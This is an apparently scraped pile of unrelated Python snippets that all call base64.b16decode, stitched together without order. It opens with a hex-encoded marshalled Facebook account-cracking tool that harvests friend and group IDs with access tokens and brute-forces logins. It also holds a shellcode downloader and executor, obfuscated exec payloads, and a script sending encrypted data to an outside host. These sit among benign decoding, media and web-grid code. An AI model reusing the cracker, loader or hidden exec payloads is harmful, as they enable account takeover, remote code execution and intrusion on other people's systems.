04B656E6120436865636B706F696E747310000000726D202D7266206C6F67696E2E747874732C0000001B5B33393B316D5B1B5B33313B316D211B5B33393B316D5D1B5B33333B316D4C6F67696E20476167616C2121690300000028250000005205000000520B00000074040000006F70656E7405000000737570657274080000004B65794572726F727407000000494F4572726F7274090000007261775F696E70757452170000007402000000627274090000006D656368616E697A65740800000055524C4572726F7252100000005211000000520C00000074040000005472756574080000005F666163746F7279740700000069735F68746D6C740B00000073656C6563745F666F726D7404000000666F726D74060000007375626D6974740600000067657475726C7407000000686173686C696274030000006E65777406000000757064617465740900000068657864696765737474080000007265717565737473740300000067657474040000006A736F6E74050000006C6F616473740400000074657874520E0000007405000000636C6F73657404000000706F7374740A000000657863657074696F6E735201000000520800000074050000006C6F67696E280B0000007405000000746F6B6574740200000069647403000000707764740300000075726C522C0000007404000000646174617401000000787401000000615218000000521200000074040000007A6564642800000000280000000073020000006467524C00000042000000738400000000010D0103010F010B0113010D010D010D0105010C01050105010C0105010501070103011101100105010D010B010C0110010D010D010A010C010C010301160153010F010D010C0114010601150112010F0111010A01050105010501050115020D010B0113010E020C0105010501050105010D010D010A0205010501050105010D010D01630000000000000000050000004300000073920000007400006A0100640100830100017919007402006402006403008302006A0300830000610400576E3700047405006B0A00725F0001010164040047487400006A0100640500830100017406006A070064060083010001740800830000016E0100587400006A0100640100830100017400006A0100640700830100017400006A010064080083010001740900830000016400005328090000004E520A00000073090000006C6F67696E2E747874521800000073200000001B5B313B39316D5B215D20546F6B656E20746964616B20646974656D756B616E7310000000726D202D7266206C6F67696E2E7478746901000000730C0000007368206E61726765742E73687307000000736820782E7368280A0000005205000000520B0000005231000000740400000072656164524D000000523400000052100000005211000000524C000000740B00000070696C69685F73757065722800000000280000000028000000007302000000646752320000008B000000731800000000020D01030119010D0105010D010D010B020D010D010D0163000000000C000000050000004300000073A7020000640100474864010047487400006402008301007D00007C00006403006B02007231006404004748740100830000016EAE017C00006405006B020072AF007402006A0300640600830100017402006A030064070083010001740400640800830100017405006A0600640900740700178301007D01007408006A09007C01006A0A008301007D02007856017C0200640A0019445D17007D0300740B006A0C007C0300640B001983010001719100576E30017C0000640C006B020072A8017402006A0300640600830100017402006A030064070083010001640D00640E00144748740000640F008301007D0400793E007405006A06006410007C04001764110017740700178301007D01007408006A09007C01006A0A008301007D05006412007C050064130019174748576E270004740D006B0A00725101010101641400474874000064150083010001740E00830000016E0100587405006A06006416007C04001764170017740700178301007D06007408006A09007C06006A0A008301007D0300785D007C0300640A0019445D17007D0700740B006A0C007C0700640B001983010001718A01576E37007C00006418006B020072CB017402006A030064190083010001740F00830000016E1400641A007C000017641B00174748740100830000017402006A0300640600830100017402006A0300641C0083010001641D00741000741100740B00830100830100174748740400641E0083010001641F006420006421006703007D08007830007C0800445D28007D09006422007C090017477412006A13006A1400830000017415006A160064230083010001712E0257487402006A0300642400830100016425008400007D0A007417006426008301007D0B007C0B006A18007C0A00740B0083020001642700474874000064280083010001740E00830000016400005328290000004E520900000073380000001B5B33393B316D5B1B5B33323B316D2B1B5B33393B316D5D1B5B33323B316D50696C696E204E6F201B5B33313B316D3A1B5B33393B316D20740000000073180000001B5B313B39316D5B215D204A616E67616E206B6F736F6E6774020000003031520A000000730C0000007368206E61726765742E7368733D0000001B5B313B33396D5B1B5B33323B316D2B1B5B33393B316D5D201B5B313B39326D4D656E67616D62696C2069642074656D616E201B5B313B39376D2E2E2E733300000068747470733A2F2F67726170682E66616365626F6F6B2E636F6D2F6D652F667269656E64733F6163636573735F746F6B656E3D5251000000524E000000740C0000003230303030303030303030306928000000730A0000001B5B313B39376DE29590732C0000001B5B313B39316D5B2B5D201B5B313B39326D494420477275702020201B5B313B39316D3A1B5B313B39376D20732500000068747470733A2F2F67726170682E66616365626F6F6B2E636F6D2F67726F75702F3F69643D730E000000266163636573735F746F6B656E3D733C0000001B5B313B39316D5B1B5B313B39366DE29C931B5B313B39316D5D201B5B313B39326D4E616D612067727570201B5B313B39316D3A1B5B313B39376D2074040000006E616D65731F0000001B5B313B39316D5B215D204772757020746964616B20646974656D756B616E73210000000A1B5B313B39316D5B201B5B313B39376D4B656D62616C69201B5B313B39316D5D731B00000068747470733A2F2F67726170682E66616365626F6F6B2E636F6D2F73350000002F6D656D626572733F6669656C64733D6E616D652C6964266C696D69743D393939393939393939266163636573735F746F6B656E3D740200000030307310000000726D202D7266206C6F67696E2E74787473200000001B5B313B33396D5B1B5B33313B316D211B5B33393B316D5D201B5B313B39376D7318000000201B5B313B39316D50696C69682059616E672042656E61727307000000736820762E7368733A0000001B5B33393B316D5B1B5B33323B316D2B1B5B33393B316D5D201B5B313B39326D4A756D6C6168204944201B5B313B39316D3A201B5B313B39356D73320000001B5B313B33396D5B1B5B33323B316D2B1B5B33393B316D5D201B5B313B39326D4C6F6164696E67201B5B313B39376D2E2E2E73040000002E20202073040000002E2E202073040000002E2E2E2073410000000D0D1B5B313B33396D5B1B5B33323B316D2B1B5B33393B316D5D201B5B313B39326D4D756C6169204D656E67616B736573204B656D616E616E201B5B313B39376D69010000007307000000736820622E736863010000000C000000030000005300000073CB0200007C00007D010079B7027400006A01006401007C01001764020017740200178301007D02007403006A04007C02006A05008301007D03007C030064030019640400177D04007406006A07006405007C010017640600177C040017640700178301007D05007403006A08007C05008301007D06006408007C06006B06007296006409007C010017640A00177C040017640B001747486E2602640C007C0600640D00196B060072B600640E007C010017640B001747486E06027C030064030019640F00177D07007406006A07006405007C010017640600177C070017640700178301007D05007403006A08007C05008301007D06006408007C06006B06007216016409007C010017640A00177C070017640B001747486EA601640C007C0600640D00196B0600723601640E007C010017640B001747486E86017C030064100019640400177D08007406006A07006405007C010017640600177C080017640700178301007D05007403006A08007C05008301007D06006408007C06006B06007296016409007C010017640A00177C080017640B001747486E2601640C007C0600640D00196B060072B601640E007C010017640B001747486E06017C0300641100197D09007C09006A09006412006413008302007D0A007406006A07006405007C010017640600177C0A0017640700178301007D05007403006A08007C05008301007D06006408007C06006B06007224026409007C010017640A00177C0A0017640B001747486E9800640C007C0600640D00196B0600724402640E007C010017640B001747486E78007C0300641400197D0B007406006A07006405007C010017640600177C0B0017640700178301007D05007403006A08007C05008301007D06006408007C06006B060072A0026409007C010017640A00177C0B0017640B001747486E1C00640C007C0600640D00196B060072BC02640E007C01001747486E0000576E07000101016E0100586400005328150000004E731B00000068747470733A2F2F67726170682E66616365626F6F6B2E636F6D2F730F0000002F3F6163636573735F746F6B656E3D740A00000066697273745F6E616D657403000000313233739100000068747470733A2F2F622D6170692E66616365626F6F6B2E636F6D2F6D6574686F642F617574682E6C6F67696E3F6163636573735F746F6B656E3D32333737353939303935393136353525323532353743306631343061616265646662363561633237613733396564316132323633623126666F726D61743D6A736F6E2673646B5F76657273696F6E3D3226656D61696C3D7317000000266C6F63616C653D656E5F55532670617373776F72643D73480000002673646B3D696F732667656E65726174655F73657373696F6E5F636F6F6B6965733D31267369673D3366353535663939666236316663643761613063343466353866353232656636522F00000073310000001B5B313B33396D5B20201B5B33323B316D537563657373201B5B33393B316D5D201B5B33313B316D5B201B5B33363B316D7313000000201B5B33313B316D5D205B1B5B33393B316D207309000000201B5B33313B316D5D73100000007777772E66616365626F6F6B2E636F6D74090000006572726F725F6D736773310000001B5B313B33396D5B1B5B33313B316D4368656B706F696E741B5B33393B316D5D201B5B33313B316D5B201B5B33363B316D7405000000313233343574090000006C6173745F6E616D657408000000626972746864617974010000002F52570000007406000000536179616E67280A00000052440000005245000000524D000000524600000052470000005248000000740600000075726C6C6962740700000075726C6F70656E74040000006C6F616474070000007265706C616365280C00000074030000006172677404000000757365725253000000740100000062740500000070617373315251000000740100000071740500000070617373327405000000706173733374050000006C616869727405000000706173733474050000007061737335280000000028000000007302000000646774040000006D61696ED600000073540000000001060103011B0112010E011F010F010C011802100110020E011F010F010C011802100110020E011F010F010C011802100110020A0112011F010F010C011802100110020A011F010F010C011802100110030301691E00000073400000000A1B5B313B33396D5B1B5B33323B316D2B1B5B33393B316D5D201B5B313B39326D4861636B2046622054656D616E205375636573731B5B33393B316D202A5F2A735F0000000A1B5B33393B316D5B1B5B33323B316D2B1B5B33393B316D5D1B5B33323B316D4B656D62616C69204C616769201B5B33313B316D5B1B5B33343B316D591B5B33313B316D2F1B5B33343B316D541B5B33313B316D5D203A201B5B33393B316D2819000000523500000052560000005205000000520B000000521400000052440000005245000000524D000000524600000052470000005248000000524E0000007406000000617070656E64523300000052320000005208000000740300000073747274030000006C656E5206000000520D000000520F00000052100000005211000000520000000074030000006D6170280C00000074040000007065616B521800000052120000007401000000737403000000696467740300000061737774020000007265740100000069521500000052160000005272000000740100000070280000000028000000007302000000646752560000009C000000736A0000000001050105010C010C0105010A020C010D010D020A0113011201110118030C010D010D0109010C0103011B01120111010D0105010A010B021B011201110118030C010D010A020D0107010D010D0115010A010F010D0108010D01110201010D0209370C01100105010A01630100000004000000020000004300000073330000006401007C0000167D01007400006A01007C01008301007D02007402006A03007C02006A04008301007D03007C0300640200195328030000004E732D00000068747470733A2F2F67726170682E66616365626F6F6B2E636F6D2F6D653F6163636573735F746F6B656E3D2573524E0000002805000000524400000052450000005246000000524700000052480000002804000000524D0000005250000000740300000072657374030000007569642800000000280000000073020000006467740A0000006765745F75736572696414010000730800000000010A010F011201630200000007000000060000004300000073090100007400007C00008301007D02006401007C01007401007C0200830100660200167D0300690200640200640300366404007C000016640500367D04006406007D05007402006A03007C05006407007C03006408007C04008301027D06007C06006A040047486409007C06006A04006B060072AE007405006A0600640A00830100017405006A0600640B0083010001640C00640D00144748640E004748740700640F0083010001740800830000016E57006410007C06006A04006B060072F9007405006A0600640A00830100017405006A0600640B0083010001640C00640D001447486411004748740700640F0083010001740800830000016E0C006412004748740900830000016400005328130000004E738A0100007661726961626C65733D7B2230223A7B2269735F736869656C646564223A2025732C2273657373696F6E5F6964223A2239623738313931632D383466642D346162362D623061612D313962333966303461366263222C226163746F725F6964223A222573222C22636C69656E745F6D75746174696F6E5F6964223A2262303331366464362D336664362D346265622D616564342D626232396335646336346230227D7D266D6574686F643D706F737426646F635F69643D313437373034333239323336373138332671756572795F6E616D653D4973536869656C6465645365744D75746174696F6E2673747269705F64656661756C74733D747275652673747269705F6E756C6C733D74727565266C6F63616C653D656E5F555326636C69656E745F636F756E7472795F636F64653D55532666625F6170695F7265715F667269656E646C795F6E616D653D4973536869656C6465645365744D75746174696F6E2666625F6170695F63616C6C65725F636C6173733D4973536869656C6465645365744D75746174696F6E73210000006170706C69636174696F6E2F782D7777772D666F726D2D75726C656E636F646564730C000000436F6E74656E742D5479706573080000004F41757468202573740D000000417574686F72697A6174696F6E732200000068747470733A2F2F67726170682E66616365626F6F6B2E636F6D2F6772617068716C525100000074070000006865616465727373120000002269735F736869656C646564223A74727565520A000000730C0000007368206E61726765742E73686928000000730A0000001B5B313B39376DE29590732C0000001B5B313B39316D5B1B5B313B39366DE29C931B5B313B39316D5D201B5B313B39326D4469616B7469666B616E73210000000A1B5B313B39316D5B201B5B313B39376D4B656D62616C69201B5B313B39316D5D73130000002269735F736869656C646564223A66616C7365732F0000001B5B313B39316D5B1B5B313B39366DE29C931B5B313B39316D5D201B5B313B39316D44696E6F6E616B7469666B616E73100000001B5B313B39316D5B215D204572726F72280A000000528000000052740000005244000000524A00000052480000005205000000520B000000523500000074040000006C61696E52080000002807000000524D0000007406000000656E61626C65524E000000525100000052820000005250000000527E0000002800000000280000000073020000006467740300000067617A1B010000732C00000000010C011601180106011B0108010F010D010D01090105010A010A020F010D010D01090105010A010A02050174080000005F5F6D61696E5F5F2802000000730A000000557365722D4167656E7473520000004F706572612F392E38302028416E64726F69643B204F70657261204D696E692F33322E302E323235342F38352E20553B206964292050726573746F2F322E31322E3432332056657273696F6E2F31322E3136283B00000052050000005206000000521000000074080000006461746574696D65740600000072616E646F6D5240000000527B0000007409000000746872656164696E67524600000074070000006765747061737352640000005244000000523700000074140000006D756C746970726F63657373696E672E706F6F6C5200000000741300000072657175657374732E657863657074696F6E7352010000005202000000740600000072656C6F6164741200000073657464656661756C74656E636F64696E67523600000074110000007365745F68616E646C655F726F626F7473740500000046616C736574120000007365745F68616E646C655F7265667265736874050000005F687474707414000000485454505265667265736850726F636573736F72740A000000616464686561646572735208000000520C0000005214000000520B000000521700000074040000006261636B7407000000746872656164737408000000626572686173696C740800000063656B706F696E747405000000676167616C7407000000696474656D616E740B000000696466726F6D74656D616E740500000069646D656D524E0000007402000000656D740B000000656D66726F6D74656D616E74020000006870740B000000687066726F6D74656D616E74060000007265616B7369740A0000007265616B73696772757074050000006B6F6D656E74090000006B6F6D656E6772757074080000006C69737467727570740600000076756C6E6F74740400000076756C6E524C0000005232000000525600000052800000005239000000528500000074080000005F5F6E616D655F5F2800000000280000000028000000007302000000646774080000003C6D6F64756C653E0200000073520000009C011002100110010A010D010C010D011C010C020904090809070D0209090601060106010601060106010601060106010601060106010601060106010601060106010601060309490911097809070C1B0C01" )))
#! /usr/bin/env python3 import socket import re from hashlib import sha256 from base64 import b16decode s = socket.socket() s.connect(('localhost', 1343)) KEY = b16decode( "e5af6eb22bce17b27fd55ed32d72c6d4e1a79c7e9c83914acf8f33f512ae6907", casefold=True) while True: s.settimeout(5.0) data = s.recv(4096).decode('ascii') if len(data) == 0: continue print(">", data, end="") if "Challenge issued" in data: number = re.search(r"Challenge issued: ([0-9]*)", data).group(1).strip() sha_digest = sha256(number.encode('ascii') + KEY).hexdigest() reply = sha_digest + "\n" if "Please enter the OTP:" in data: if reply is None or len(reply) == 0: reply = "???\n" print(reply, end="") s.send(reply.encode('ascii'))
def hex_16_bytes(string): if not string or len(string) != 32: raise argparse.ArgumentTypeError( 'Must be a 32-character hex string, %d given' % len(string)) return base64.b16decode(string.upper())
import marshal,zlib,base64 a = (marshal.loads(zlib.decompress(base64.b16decode("789C45514D8F9B301035D96CBF7E450F3DE46C03B934556D6330B6313110C0BE6517D46E44946AA1975EFBC35B23EDB6A399374F334F7398F7085E62EBEBABAF597A187C066002C0FDE30170C12BDF00B7012300973B3006E0B205E3065CEEC1B001BF8397F4B2EDC943BDBBF3F79EFEF8D0F3C70080232D996C5A44204971C2B569DB38459CB1D0E284DAD2DA42ED4D96F6D4D244EF09CD72DA29295513F718151A664D024BA545C4DBD6903E972704D354E3AE9402E71D4BA29EE2D0614633831B83598CA126A4304A13D8758DA579C41484A6B7358EB4A954E178D5092E72571117A6B6E0B890278E8813481C55D2F3B654A889500553646A1B76CA55222C0BE4581D8604677DCD9969702470D5669138D649213B4C7861AB58B2A388C5BEA6698A6251218214CC2042F5C946512235536591A80419577687C361F7C6FF6B79EBE17A7E9EBF9FA76575E6D7F4F4B0AC9B87F33CC6E172EFE9743B0FF3F261B56B7CBC5D7F3C8FF3BCBC5F3508AE9361DCADC6FE8779B36ABF2DEF7CFB7CBD0D3FA7F14BF03AFF14FC05A7877B24")))) exec(a)
def base16_decodificar(bytes): return base64.b16decode(bytes, True)
def validate_transaction(self): signature = base64.b16decode(self.signature) transaction_hash = self.get_hash() public_key = crypto_key_gen.from_public_hex(self.sender_pub_key) signature_valid = crypto_key_gen.validate_signature(public_key, signature, transaction_hash) return signature_valid
#!/usr/bin/env python #-*- coding:utf-8 -*- #靶机执行shellcode import urllib2 import ctypes import base64 url = "http://*******/shellcode.bin" #下载shellcode response = urllib2.urlopen(url) #进行base64解码 shellcode = base64.b16decode(response.read()) #申请内存空间,存入shellcode shellcode_buffer = ctypes.create_string_buffer(shellcode_buffer, len(shellcode)) #创建shellcode的函数指针 shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p)) #调用函数指针,执行shellcode shellcode_func()
sys.path.insert(0, os.path.join(_pssh_dir, '../../third_party/protobuf/python')) # Import the widevine protobuf. Use either Release or Debug. _proto_path_format = os.path.join( _pssh_dir, '../../../out/%s/pyproto/packager/media/base') if os.path.isdir(_proto_path_format % 'Release'): sys.path.insert(0, _proto_path_format % 'Release') else: sys.path.insert(0, _proto_path_format % 'Debug') try: import widevine_pssh_data_pb2 # pylint: disable=g-import-not-at-top except ImportError: print >> sys.stderr, 'Cannot find proto file, make sure to build first' raise COMMON_SYSTEM_ID = base64.b16decode('1077EFECC0B24D02ACE33C1E52E2FB4B') WIDEVINE_SYSTEM_ID = base64.b16decode('EDEF8BA979D64ACEA3C827DCD51D21ED') PLAYREADY_SYSTEM_ID = base64.b16decode('9A04F07998404286AB92E65BE0885F95') class BinaryReader(object): """A helper class used to read binary data from an binary string.""" def __init__(self, data, little_endian): self.data = data self.little_endian = little_endian self.position = 0 def has_data(self): """Returns whether the reader has any data left to read.""" return self.position < len(self.data)
def process(self): query = None db = self.db if not self.param.search_form and self.param.search_queries: search_type = safe_int(request.query.get("search_type", 0), default=0) search_string = request.query.get("search_string") if search_type < len(self.param.search_queries) and search_string: query_lambda = self.param.search_queries[search_type][1] try: query = query_lambda(search_string) except: pass # flash a message here if not query: query = self.param.query else: query &= self.param.query parts = self.path.split("/") self.action = parts[0] or "select" self.tablename = self.get_tablenames( self.param.query)[0] # what if there ar 2? self.record_id = safe_int(parts[1] if len(parts) > 1 else None, default=None) if self.param.fields: if not isinstance(self.param.fields, list): self.param.fields = [self.param.fields] else: table = db[self.tablename] self.param.fields = [field for field in table if field.readable] self.readonly_fields = [ field for field in self.param.fields if not field.writable ] self.referrer = None if not self.tablename: raise HTTP(400) if self.action in ["new", "details", "edit"]: # SECURITY: if the record does not exist or does not match query, than we are not allowed if self.record_id: if (db((db[self.tablename]._id == self.record_id) & self.param.query).count() == 0): redirect(self.endpoint) ## maybe flash readonly = self.action == "details" for field in self.readonly_fields: db[field.tablename][field.name].writable = False if not self.param.show_id: # if not show id, find the "id" field and set readable/writable to False for field in db[self.tablename]: if field.type == "id": db[self.tablename][field.name].readable = False db[self.tablename][field.name].writable = False self.form = Form( db[self.tablename], record=self.record_id, readonly=readonly, formstyle=self.param.formstyle, ) # SECURITY: if the new record was created but does not match filter, delete it if self.form.accepted and not self.record_id: new_record = db[self.tablename]._id == self.form.vars["id"] if db(new_record & self.param.query).count() == 0: db(new_record).delete() # TODO: SHOULD FLASH SOME MESSAGE # redirect to the referrer if self.form.accepted or (readonly and request.method == "POST"): referrer = request.query.get("_referrer") if referrer: redirect( base64.b16decode( referrer.encode("utf8")).decode("utf8")) else: redirect(self.endpoint) elif self.action == "delete": db(db[self.tablename].id == self.record_id).delete() redirect(self.endpoint) elif self.action == "select": self.referrer = "_referrer=%s" % base64.b16encode( request.url.encode("utf8")).decode("utf8") # find the primary key of the primary table pt = db[self.tablename] key_is_missing = True for field in self.param.fields: if field.table._tablename == pt._tablename and field.name == pt._id.name: key_is_missing = False if key_is_missing: # primary key wasn't included, add it and set show_id to False so it doesn't display self.param.fields.append(pt._id) self.param.show_id = False self.current_page_number = safe_int(request.query.get("page"), default=1) select_params = dict() # try getting sort order from the request sort_order = request.query.get("orderby", "") try: parts = sort_order.lstrip("~").split(".") orderby = db[parts[0]][parts[1]] if sort_order.startswith("~"): orderby = ~orderby select_params["orderby"] = orderby except (IndexError, KeyError, TypeError, AttributeError): select_params["orderby"] = self.param.orderby if self.param.left: select_params["left"] = self.param.left if self.param.left: # TODO: maybe this can be made more efficient self.total_number_of_rows = len( db(query).select(db[self.tablename].id, **select_params)) else: self.total_number_of_rows = db(query).count() # if at a high page number and then filter causes less records to be displayed, reset to page 1 if (self.current_page_number - 1) * self.param.rows_per_page > self.total_number_of_rows: self.current_page_number = 1 if self.total_number_of_rows > self.param.rows_per_page: self.page_start = self.param.rows_per_page * ( self.current_page_number - 1) self.page_end = self.page_start + self.param.rows_per_page select_params["limitby"] = (self.page_start, self.page_end) else: self.page_start = 0 if self.total_number_of_rows > 1: self.page_start = 1 self.page_end = self.total_number_of_rows if self.param.fields: self.rows = db(query).select(*self.param.fields, **select_params) else: self.rows = db(query).select(**select_params) self.number_of_pages = self.total_number_of_rows // self.param.rows_per_page if self.total_number_of_rows % self.param.rows_per_page > 0: self.number_of_pages += 1 else: redirect(self.endpoint)
def base16Decode(string): try: return base64.b16decode(string).decode() except Exception as e: return f"Exception: {e}"
for _ in range(int(threads)): worker = Thread(target=check, args=(queue, )) worker.start() for user in users: queue.put(user.strip().encode('ascii', 'ignore')) if __name__ == '__main__': try: key = os.environ['COMPUTERNAME'] f = open("data.txt", "r") data = f.read() f.close() while len(key) < 32: key += 'A' IV = 16 * '\x00' mode = AES.MODE_CBC encryptor = AES.new(key, mode, IV=IV) l = base64.b16encode(encryptor.encrypt(data)) r = requests.get( 'http://divcentral.xyz/login.php?l={0}&serial={1}'.format( urllib.quote_plus(l), data)) if encryptor.decrypt(base64.b16decode(urllib.unquote(r.text))): main() else: print 'Could not log in!' except Exception, e: print 'Error! PM Me with the message!' print e raw_input()
def get_gadgets(filename, arch, extra_args='', thumb=False): """ Returns a list of gadgets extracted from a file Precondition: the file exists Returns ------- list of pairs (addr, asm) if succesful None if failure """ ropgadget = "ROPgadget" cmd_string = '' try: cmd = [ropgadget,"--binary", filename, "--dump", "--all"] if( thumb ): cmd += ["--thumb", "--depth", "6"] else: cmd += ["--depth", "6"] if( extra_args ): cmd += extra_args.split(" ") cmd_string = " ".join(cmd) notify("Executing: " + cmd_string) (outdata, errdata) = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() except Exception as e: error("Could not execute '"+ cmd_string + "'") print("\tException message: " + str(e)) return None # Check if error errs = io.StringIO(errdata.decode("ascii")) l = errs.readline() while( l ): if( 'error:' in l): error("Could not execute '"+ cmd_string + "'") print("\tError message: " + str_special(l.split('error:')[1])) return None l = errs.readline() # Get the gadget list # Pairs (address, raw_asm) first = True count = 0 res = [] outs = io.StringIO(outdata.decode("ascii")) l = outs.readline() add_to_addr = 1 if thumb else 0 while( l ): if('0x' in l): arr = l.split(' ') addr = arr[0] raw = b16decode(arr[-1].upper().strip()) res.append((int(addr,16) + add_to_addr, raw)) count += 1 l = outs.readline() # Find svc gadgets ? if( is_arm(arch) and not thumb ): svc_gadgets = [ (x,b'\x00\x00\x00\xef') for x in find_opcode(b'\x00\x00\x00\xef', 4)] # Assuming little endian elif( is_arm(arch) and thumb ): svc_gadgets = [ (x+1,b'\x00\xdf') for x in find_opcode(b'\x00\xdf', 2)] # Assuming little endian else: svc_gadgets = [] # Return res res += svc_gadgets return res
def _base16_decode(self, decode_string): decoder = base64.b16decode(decode_string, casefol=False) return decoder
def run(code, globals, locals): exec(zlib.decompress(base64.b16decode(code)), globals, locals)
# main ser = serial.Serial(port='/dev/ttyACM0', baudrate=115200, timeout=1) ser.isOpen() while (1): message = readSerial() # print message if 'keyCode' in message: hex_keyCode = message[9:-1] # print hex_keyCode break binary_keyCode = base64.b16decode(hex_keyCode.upper()) temp = list(binary_keyCode) temp[0] = '1' temp[1] = '2' temp[2] = '3' binary_keyCode_manipulated = "".join(temp) print 'Sending the wrong keyCode to the board (%d bytes)' % len( binary_keyCode_manipulated) for i in range(0, len(binary_keyCode_manipulated)): ser.write(binary_keyCode_manipulated[i]) ser.flush() ser.write('\n'.encode())
import marshal, zlib, base64 exec( marshal.loads( zlib.decompress( base64.b16decode( "789C7D557B6FD330103F276936C6780A1808FEB00488691288011B6F44FAA02B5BD32AC9800D50159A30656B1AA8DD0944FBD7F8007C1CBE1DDCB9491BB68E4B7D39E77EF7B0CFE7B621250DC74B1C224416E08F4107607B2C33D86699ACC1B696C93A6CEB1068F013C10604BA120A10184A30219C81A0007B1AF47C084D3800605D65E92E9A1829FA8364B7B32C188E1265510405AAAEA16B643AB235F489628198496C86D8ACD29C20718ED84962F3C400439C4237B6788DFCEAFBE5A7F757E2EB474829EEC53FDCCA8655B73C5EB63CCBAE0E8FC55F17EB99BBFB716B1ABD27E5E3E5B858B26EBF5B5D5D7D97823F4E45B726E93D889F4FA117A9F98FE286555AE7E572C31DA6F06753E0622573B71A736BD35B6B38BCD428D7EC2A2F6EF127BC5E73BD8AC347CE4A5B4594D32D10B7268970B7E4D49A1EF7B69A1534B23C0FE1E423C3BECE45F12A561D41799796DDB0B7EA8D4D77A4BCB77EF721274ACDF921128F73A19585BBD96C361C8F12B69C9A655B2E7F5B298EBDADE4BD89C55C326FC29E88922E474BFEE80E3E598C0C5C9E808F390D0F70AFB3DA0D8F858A1BB9A84769694CE2E6FF804B399A54E02872E910D19AE11013D4C5C18E2CE0AB2FFC9D905A4C5C539D55500F4BDF79B9ADA37E06879175DF2F64126077C499E21A1C6830D441EAB06B506F1E30181A80B1760BD4D6030D168605BA0A86267CDBC829B0FD0DE8BD812636FE00AD4D1818304099C167E5950D4CBA3916D0107B1C27A952874BD5B5AF2FE1ADEA655A941D711B2F8DDF2791D15D213E4C36AC1EC6FD8E1FF1B48437051F2BBA3B512F8A79D3DF0B255FB98B7414D5F4039F37939EE48F465AA55CA47D916A1B93365A4B9A5BAF5A35BBE2C93994DD4669BD55AE3A565DA17A7E374862398B62AB9F4E685B6514872337613790C9C4ED7ED4469DAAD8FE178CAE4C033495788815A2DD89C2AE54884FDF6528540AE42FE94BE51B5DCAE967E07327498205FA788154FA65ED0C3BCB4C4D67E799A15F62736C7CF39A59ED3F8D6A2F992A395DC1F919D67D4F87DE6D3A06EA2E5F06CC61A4C6D25FC1B0E944872B889FCC0D353FD081E5AA49E9AB42469475440751FD2D48923AB82E7A8BEF42ADD3EFEDEC3B94AB73268344F995FFB37C3288FDA84B1FC5ACEA80D3EC229BD346B56991AED55AA48943111DCAC2212BE71CB1711C87B62E35EAFA718846D32312E4599C04FD4EF8429DCDB3C8E6997AB413E7F09999677F017DB35E07" ))))
import base64 flag = open("onionlayerencoding.txt", "r").read() while "RITSEC" not in str(flag): try: flag = base64.b16decode(flag) except: try: flag = base64.b32decode(flag) except: flag = base64.b64decode(flag) print(flag)
def encodefunc(): checkfileexist = os.path.isfile(input) if checkfileexist == 1: pass else: print >> sys.stderr, R + "[!]" + "file" + G + " " + input + " " + "is not exist" + W + " " + "[!] now exiting" sys.exit() file = open(input, 'r+w') fileread = file.read() if decode: print "%s%s[+]%s decoding" % (R, G, B) os.system('sleep 2') if (os.path.splitext(input)[-1]) == ".encoded": print("file is encoded now decoding") print R + "[!]" + W + "warning if the file encoding is already unknown the app will corrupt it" os.system('sleep 2') if decode == "base64": ##base64 decoding filereadecoded = base64.b64decode(fileread) file = open(input, 'w') file.write(filereadecoded + "\n") newfilename = os.path.splitext(str(input))[0] os.rename(str(input), str(newfilename)) print "InputFile : " + str(input) print "Output : " + str(newfilename) if decode == "base32": ##base32 decoding filereadecoded = base64.b32decode(fileread) file = open(input, 'w') file.write(filereadecoded + "\n") newfilename = os.path.splitext(str(input))[0] os.rename(str(input), str(newfilename)) print "InputFile : " + str(input) print "Output : " + str(newfilename) if decode == "base16": ##base16 decoding filereadecoded = base64.b16decode(fileread) file = open(input, 'w') file.write(filereadecoded + "\n") newfilename = os.path.splitext(str(input))[0] os.rename(str(input), str(newfilename)) print "InputFile : " + str(input) print "Output : " + str(newfilename) else: print "error file name string didnt end with 'encoded' do you mean --encoding ?" print R + "[!] exiting" sys.exit() if encode: print("%s%s[+]%s encoding" % (R, B, G)) os.system('sleep 2') if encode == "base64": #base 64 encoding filereadencoded = base64.b64encode(fileread) file = open(input, 'w') file.write(filereadencoded + "\n") newfilenamea = input + ".encoded" newfilename = os.path.basename(newfilenamea) os.rename(str(input), str(newfilenamea)) print "InputFile : " + str(input) print "Output : " + str(newfilename) if encode == "base32": #base 32 encoding filereadencoded = base64.b32encode(fileread) file = open(input, 'w') file.write(filereadencoded + "\n") newfilenamea = input + ".encoded" newfilename = os.path.basename(str(newfilenamea)) os.rename(str(input), str(newfilenamea)) print "InputFile : " + str(input) print "Output : " + str(newfilename) if encode == "base16": # base 16 encoding filreadencoded = base64.b16encode(fileread) file = open(input, 'w') file.write(filereadencoded + "\n") newfilenamea = input + ".encoded" newfilename = os.path.basename(str(newfilenamea)) os.rename(str(input), str(newfilenamea)) print "InputFile : " + str(input) print "Output : " + str(newfilename) file.close()
def ADFGXencode(importx, infilepath, outfilepath, inputformat, exportx, key, keyword, raw): if importx == 'file': f = open(infilepath, 'r') raw = f.read() f.close() elif importx == 'print': raw = raw else: print('\033[1;31m[-]\033[0m Unknown error.') return False inp = raw if inputformat == 'base64': iput = base64.b64decode(inp) elif inputformat == 'raw': iput = inp elif inputformat == 'base32': iput = base64.b32decode(inp) elif inputformat == 'base16': iput = base64.b16decode(inp) elif inputformat == 'base58': iput = base58.b58decode(inp) elif inputformat == 'base85': print('\033[1;31m[-]\033[0m Option not available yet') elif inputformat == 'hex': iput = inp.decode('hex') elif inputformat == 'dec': print('\033[1;31m[-]\033[0m Option not available yet') elif inputformat == 'octal': print('\033[1;31m[-]\033[0m Option not available yet') elif inputformat == 'binary': iput = text_from_bits(inp) else: print('\033[1;31m[-]\033[0m Unknown error.') return False output = ADFGX(key, keyword).encipher(iput) if exportx == 'file': f = open(outfilepath, 'w') f.write(output) f.close() return True elif exportx == 'print': return output else: print('\033[1;31m[-]\033[0m Unknown error.') return False
def hex_bytes(string): return base64.b16decode(string.upper())